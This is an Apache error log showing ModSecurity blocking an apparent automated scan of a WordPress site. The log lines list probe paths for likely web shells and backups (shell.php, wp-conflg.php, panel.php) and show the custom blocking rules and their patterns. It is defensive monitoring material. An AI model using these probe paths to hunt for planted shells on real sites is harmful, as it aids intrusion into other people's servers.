[Mon May 25 23:13:03.999342 2026] [:error] [pid 62722:tid 62742] [client 194.5.82.24:37415] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "ahRm_6M6ssnLWYf6CVBfawAAAFI"]
[Mon May 25 23:13:04.212468 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.27:53403] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/accordion/"] [unique_id "ahRnAEj3D3Mo8ANpTRAz9AAAAA4"]
[Mon May 25 23:13:04.424197 2026] [:error] [pid 62515:tid 62534] [client 194.5.82.32:35733] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh.php"] [unique_id "ahRnABig0_XsOwmnrv9pHQAAANE"]
[Mon May 25 23:13:04.686582 2026] [:error] [pid 62426:tid 62448] [client 194.5.82.20:60463] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/"] [unique_id "ahRnAEj3D3Mo8ANpTRAz9QAAABI"]
[Mon May 25 23:13:04.919490 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.42:62977] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/shell.php"] [unique_id "ahRnAEj3D3Mo8ANpTRAz9gAAABY"]
[Mon May 25 23:13:05.579360 2026] [:error] [pid 62515:tid 62519] [client 194.5.82.24:45607] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/elementor/css/"] [unique_id "ahRnARig0_XsOwmnrv9pHwAAAMI"]
[Mon May 25 23:13:05.918318 2026] [:error] [pid 62515:tid 62518] [client 194.5.82.33:30889] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist"] [unique_id "ahRnARig0_XsOwmnrv9pIAAAAME"]
[Mon May 25 23:13:06.129624 2026] [:error] [pid 62722:tid 62730] [client 194.5.82.38:37599] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/login.php"] [unique_id "ahRnAqM6ssnLWYf6CVBfcAAAAEY"]
[Mon May 25 23:13:06.361447 2026] [:error] [pid 62722:tid 62739] [client 194.5.82.4:36047] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/"] [unique_id "ahRnAqM6ssnLWYf6CVBfcgAAAE8"]
[Mon May 25 23:13:06.572140 2026] [:error] [pid 62722:tid 62741] [client 194.5.82.7:45783] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "ahRnAqM6ssnLWYf6CVBfcwAAAFE"]
[Mon May 25 23:13:06.783434 2026] [:error] [pid 62722:tid 62744] [client 194.5.82.37:28955] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/"] [unique_id "ahRnAqM6ssnLWYf6CVBfdAAAAFQ"]
[Mon May 25 23:13:06.998369 2026] [:error] [pid 62722:tid 62724] [client 194.5.82.34:40979] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/php-compat/"] [unique_id "ahRnAqM6ssnLWYf6CVBfdQAAAEA"]
[Mon May 25 23:13:07.212949 2026] [:error] [pid 53791:tid 53798] [client 194.5.82.14:33057] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/222.php"] [unique_id "ahRnAyCRhhNTD40Nf1U4JAAAAYU"]
[Mon May 25 23:13:07.466475 2026] [:error] [pid 62426:tid 62443] [client 194.5.82.37:24135] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/spacer/"] [unique_id "ahRnA0j3D3Mo8ANpTRAz_QAAAA0"]
[Mon May 25 23:13:07.689512 2026] [:error] [pid 53791:tid 53802] [client 194.5.82.24:60123] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/panel.php"] [unique_id "ahRnAyCRhhNTD40Nf1U4JQAAAYk"]
[Mon May 25 23:13:07.899487 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.6:54371] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/mediaelement/"] [unique_id "ahRnA0j3D3Mo8ANpTRAz_gAAAA4"]
[Mon May 25 23:13:08.111503 2026] [:error] [pid 62426:tid 62449] [client 194.5.82.42:38935] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "ahRnBEj3D3Mo8ANpTRAz_wAAABM"]
[Mon May 25 23:13:08.372480 2026] [:error] [pid 62426:tid 62448] [client 194.5.82.34:54579] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "ahRnBEj3D3Mo8ANpTRA0AAAAABI"]
[Mon May 25 23:13:08.586179 2026] [:error] [pid 3698:tid 3712] [client 194.5.82.44:29971] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "ahRnBAtZBEwA4fyFLKMJ4wAAAQw"]
[Mon May 25 23:13:08.800116 2026] [:error] [pid 62515:tid 62535] [client 194.5.82.15:35775] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Auth/"] [unique_id "ahRnBBig0_XsOwmnrv9pIwAAANI"]
[Mon May 25 23:13:09.012143 2026] [:error] [pid 3698:tid 3722] [client 194.5.82.37:31531] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-file-manager-pro/"] [unique_id "ahRnBQtZBEwA4fyFLKMJ5AAAARY"]
[Mon May 25 23:13:09.222613 2026] [:error] [pid 62426:tid 62450] [client 194.5.82.46:50121] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-file-manager-pro/fm_backup/"] [unique_id "ahRnBUj3D3Mo8ANpTRA0AgAAABQ"]
[Mon May 25 23:13:09.478683 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.4:61805] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/cgi-bin/cgi-bin/config.php"] [unique_id "ahRnBUj3D3Mo8ANpTRA0BAAAABg"]
[Mon May 25 23:13:09.691045 2026] [:error] [pid 62426:tid 62442] [client 194.5.82.18:28269] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/system.php"] [unique_id "ahRnBUj3D3Mo8ANpTRA0BQAAAAw"]
[Mon May 25 23:13:09.907091 2026] [:error] [pid 62426:tid 62443] [client 194.5.82.50:20571] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/fonts/lato/"] [unique_id "ahRnBUj3D3Mo8ANpTRA0BgAAAA0"]
[Mon May 25 23:13:10.118296 2026] [:error] [pid 62426:tid 62446] [client 194.5.82.39:35003] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/backup.php"] [unique_id "ahRnBkj3D3Mo8ANpTRA0CQAAABA"]
[Mon May 25 23:13:10.372837 2026] [:error] [pid 62426:tid 62430] [client 194.5.82.15:45845] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/backup.php"] [unique_id "ahRnBkj3D3Mo8ANpTRA0DAAAAAA"]
[Mon May 25 23:13:10.589172 2026] [:error] [pid 62515:tid 62540] [client 194.5.82.35:42813] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/login.php"] [unique_id "ahRnBhig0_XsOwmnrv9pJgAAANc"]
[Mon May 25 23:13:10.805733 2026] [:error] [pid 62426:tid 62434] [client 194.5.82.4:60403] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/themes/test.php"] [unique_id "ahRnBkj3D3Mo8ANpTRA0DwAAAAQ"]
[Mon May 25 23:13:11.016939 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.13:42601] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/system_core.php"] [unique_id "ahRnB0j3D3Mo8ANpTRA0EgAAABg"]
[Mon May 25 23:13:11.278393 2026] [:error] [pid 62515:tid 62532] [client 194.5.82.44:40383] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/maintenance.php"] [unique_id "ahRnBxig0_XsOwmnrv9pJwAAAM8"]
[Mon May 25 23:13:11.500867 2026] [:error] [pid 62426:tid 62443] [client 194.5.82.28:33811] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-http-client.php"] [unique_id "ahRnB0j3D3Mo8ANpTRA0FAAAAA0"]
[Mon May 25 23:13:11.711290 2026] [:error] [pid 3698:tid 3718] [client 194.5.82.45:22941] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "ahRnBwtZBEwA4fyFLKMJ6gAAARI"]
[Mon May 25 23:13:11.922885 2026] [:error] [pid 3698:tid 3724] [client 194.5.82.18:42475] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/nic.php"] [unique_id "ahRnBwtZBEwA4fyFLKMJ6wAAARg"]
[Mon May 25 23:13:12.180189 2026] [:error] [pid 62427:tid 62462] [client 194.5.82.34:24419] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/Molla1.5.6/wp-content/users.php"] [unique_id "ahRnCPMUa83fc4GDyByP9AAAAUU"]
[Mon May 25 23:13:12.393740 2026] [:error] [pid 3698:tid 3708] [client 194.5.82.34:48639] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/p-includes/admin.php"] [unique_id "ahRnCAtZBEwA4fyFLKMJ7AAAAQg"]
[Mon May 25 23:13:12.610443 2026] [:error] [pid 3698:tid 3706] [client 194.5.82.48:44461] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/mmenu.php"] [unique_id "ahRnCAtZBEwA4fyFLKMJ7QAAAQY"]
[Mon May 25 23:13:12.822030 2026] [:error] [pid 53791:tid 53815] [client 194.5.82.27:64523] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "ahRnCCCRhhNTD40Nf1U4LgAAAZY"]
[Mon May 25 23:13:13.074716 2026] [:error] [pid 62427:tid 62472] [client 194.5.82.21:50499] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/elementor/classwithtostring.php"] [unique_id "ahRnCfMUa83fc4GDyByP9QAAAU8"]
[Mon May 25 23:13:13.313095 2026] [:error] [pid 62427:tid 62479] [client 194.5.82.15:56231] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/elementor/google-fonts/fonts/"] [unique_id "ahRnCfMUa83fc4GDyByP9gAAAVY"]
[Mon May 25 23:13:13.530806 2026] [:error] [pid 62428:tid 62495] [client 194.5.82.29:22253] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/base-theme.php"] [unique_id "ahRnCZNosGBa7mui3VR7uwAAAIs"]
[Mon May 25 23:13:13.782506 2026] [:error] [pid 62428:tid 62494] [client 194.5.82.41:31467] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/heading/"] [unique_id "ahRnCZNosGBa7mui3VR7vgAAAIo"]
[Mon May 25 23:13:14.006643 2026] [:error] [pid 62515:tid 62525] [client 194.5.82.50:52013] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/geck.php"] [unique_id "ahRnChig0_XsOwmnrv9pKwAAAMg"]
[Mon May 25 23:13:14.217138 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.21:48383] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wf-logs.php"] [unique_id "ahRnCkj3D3Mo8ANpTRA0GgAAABY"]
[Mon May 25 23:13:14.476510 2026] [:error] [pid 62426:tid 62436] [client 194.5.82.6:28703] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/wp-conflg.php"] [unique_id "ahRnCkj3D3Mo8ANpTRA0HQAAAAY"]
[Mon May 25 23:13:14.695369 2026] [:error] [pid 53791:tid 53805] [client 194.5.82.49:49363] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/home.php"] [unique_id "ahRnCiCRhhNTD40Nf1U4MAAAAYw"]
[Mon May 25 23:13:14.905732 2026] [:error] [pid 53791:tid 53817] [client 194.5.82.24:43239] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/cgi-bin/cgi-bin/upload.php"] [unique_id "ahRnCiCRhhNTD40Nf1U4MQAAAZg"]
[Mon May 25 23:13:15.118879 2026] [:error] [pid 53791:tid 53802] [client 194.5.82.165:38057] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/cgi-bin/panel.php"] [unique_id "ahRnCyCRhhNTD40Nf1U4MwAAAYk"]
[Mon May 25 23:13:15.331034 2026] [:error] [pid 62722:tid 62734] [client 194.5.82.11:49899] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "ahRnC6M6ssnLWYf6CVBfggAAAEo"]
[Mon May 25 23:13:15.583722 2026] [:error] [pid 53791:tid 53816] [client 194.5.82.30:37191] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-date/wp-login.php"] [unique_id "ahRnCyCRhhNTD40Nf1U4NQAAAZc"]
[Mon May 25 23:13:15.799033 2026] [:error] [pid 62428:tid 62493] [client 194.5.82.23:49355] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/templates/wp-login.php"] [unique_id "ahRnC5NosGBa7mui3VR7wQAAAIk"]
[Mon May 25 23:13:16.015053 2026] [:error] [pid 62428:tid 62492] [client 194.5.82.53:20259] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ahRnDJNosGBa7mui3VR7wwAAAIg"]
[Mon May 25 23:13:16.270428 2026] [:error] [pid 62428:tid 62499] [client 194.5.82.17:44677] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "ahRnDJNosGBa7mui3VR7xAAAAI8"]
